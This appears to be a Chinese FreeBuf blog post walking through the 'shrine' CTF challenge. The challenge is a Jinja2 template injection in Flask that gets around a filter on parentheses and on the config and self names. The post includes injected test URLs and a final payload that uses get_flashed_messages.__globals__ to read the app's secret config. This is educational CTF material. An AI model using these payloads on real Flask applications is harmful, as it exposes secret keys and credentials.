freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

攻防世界 shrine——模板注入绕过:过滤(),{% set %} 过滤config、self
2022-03-03 15:44:26
所属地 香港

1. 源码分析

直接访问题目地址,得到一串源代码如下,对其进行分析(注释标出)

import flask
import os

app = flask.Flask(__name__)
# 创建一个该类的实例,第一个参数是应用模块或者包的名称
# __name__ 是一个适用于大多数情况的快捷方式,有了这个参数, Flask 才能知道在哪里可以找到模板和静态文件等东西

app.config['FLAG'] = os.environ.pop('FLAG')
# config 实质上是一个字典的子类,可以像字典一样操作
# os.environ:根据一个字符串映射到系统环境的一个对象,在首次导入os模块的时候已经捕获了系统的映射,可以通过os.environ进行更改

# 使用 route() 装饰器来告诉 Flask 触发函数 的 URL 
@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        # 过滤()
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
        # join 以指定字符串 str 作为拼接符,将 seq 中所有的元素合并为一个新的字符串
        # str.format() 函数来格式化输出值
        
    return flask.render_template_string(safe_jinja(shrine))
    # render_template_string()函数用来渲染模板字符串

if __name__ == '__main__':
    app.run(debug=True)

由源码可知存在两个限制:

  • 模板字符串中过滤 ( ),将 ( ) 替换为空

  • {% set {}=None%} 使用模板赋值,将黑名单中的 config、self 置为none

2. 过滤 ( ) 的目的

若不过滤 ( ) ,则可像寻常模板注入,利用 ''.__class__.__base__.__subclasses__() 获取flag1646291886_62206baeb8638ad177e84.png!small?1646291887937

3. 黑名单的实现

  • ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 输出为 {% set config=None%}{% set self=None%},即在模板中将 config 和 self 赋值为none

blacklist = ['config', 'self'] 
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])) 
输出: 
{% set config=None%}{% set self=None%}

注意:

  • {% set %} 赋值是在某页面整个模板中都有效,但转换路径后无效

  • {% set config=None%} 中的 config 变量和 flask 的全局变量不指向同一个(下文验证)

  • 若无黑名单,直接 {{config}} 就能访问到config配置信息中的flag

1646292021_62206c3552e6224678409.png!small?1646292022399

4. 验证config的指向

4.1 搭建本地环境

  • 安装 flask

    • 可以在 pycharm 中 import 爆红时选择安装

    • 因为代码中存在 app.run,不需要 flask run

  • 更改源代码中的 os.environ.pop,自定义 FLAG 字符串

    • os.environ 映射到系统环境,本地系统环境中无 FLAG

  • 运行源代码

import flask

app = flask.Flask(__name__)
app.config['FLAG'] = "qwerasdf"


@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        # s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
        # return s

    a = flask.render_template_string(safe_jinja(shrine))
    print(id(app.config))
    return a

if __name__ == '__main__':
    app.run(debug=True)

运行成功,访问路径已给出

1646292111_62206c8f938b58fe5525e.png!small?1646292112680

访问 http://127.0.0.1:5000/ 则读取本文件,本地环境搭建成功

1646292118_62206c966893861a680f7.png!small?1646292119564

4.2 app.config

print(id(app.config))

id为:

1646292156_62206cbc0b69799c48c6e.png!small?1646292157011

4.3 get_flashed_messages.__globals__['current_app'].config

访问:

http://127.0.0.1:5000/shrine/%7B%7Bget_flashed_messages.__globals__['__builtins__']['id'](get_flashed_messages.__globals__['current_app'].config)%7D%7D

id为:

1646292182_62206cd6d543149b2eb92.png!small?1646292183807

4.4 模板中的 config 变量

访问:

http://127.0.0.1:5000/shrine/%7B%7Bget_flashed_messages.__globals__['__builtins__']['id'](config)%7D%7D

id为:

1646292215_62206cf7906cc4c20b3d3.png!small?1646292216537

综上所述:

  • current_app 指向 app,都是 flask 对象,app.config 和get_flashed_messages.__globals__['current_app'].config 获取到的 config 指向同一地址

  • {% set %} 模板赋值的 config 变量和 flask 的 config 变量不是同一作用域和命名空间

5. payload

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

lipsum、url_for、get_flashed_messages 三个(全局的)function函数类型都可以

  • lipsum() :在测试时生成随机文本,默认生成5段HTML文本,每段包含20~100个单词

  • url_for() :可用于生成视图的 URL ,而不用手动来指定

  • get_flashed_messages() :返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)

如下图所示,全局对象可以在 pycharm 中通过 debug:app->jinja_env->globals 查看:

1646292255_62206d1f95ec0aca5258b.png!small?1646292256583

必须是 function 类型的原因是因为function的属性中有__globals__

1646292388_62206da40145322591a0e.png!small?1646292389040

get_flashed_messages.__globals__如下图所示:

1646292421_62206dc52b7bddc0d47cd.png!small?1646292424795

(<Flask ‘5’>是因为本地文件为5.py,即__name__为5)

由下图可知,get_flashed_messages.__globals__['current_app'].config 可以访问到config配置信息

1646292498_62206e12bc0db4651f1b4.png!small?1646292499874


# web安全 # CTF # 网络安全技术 # 绕过 # 模板注入
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录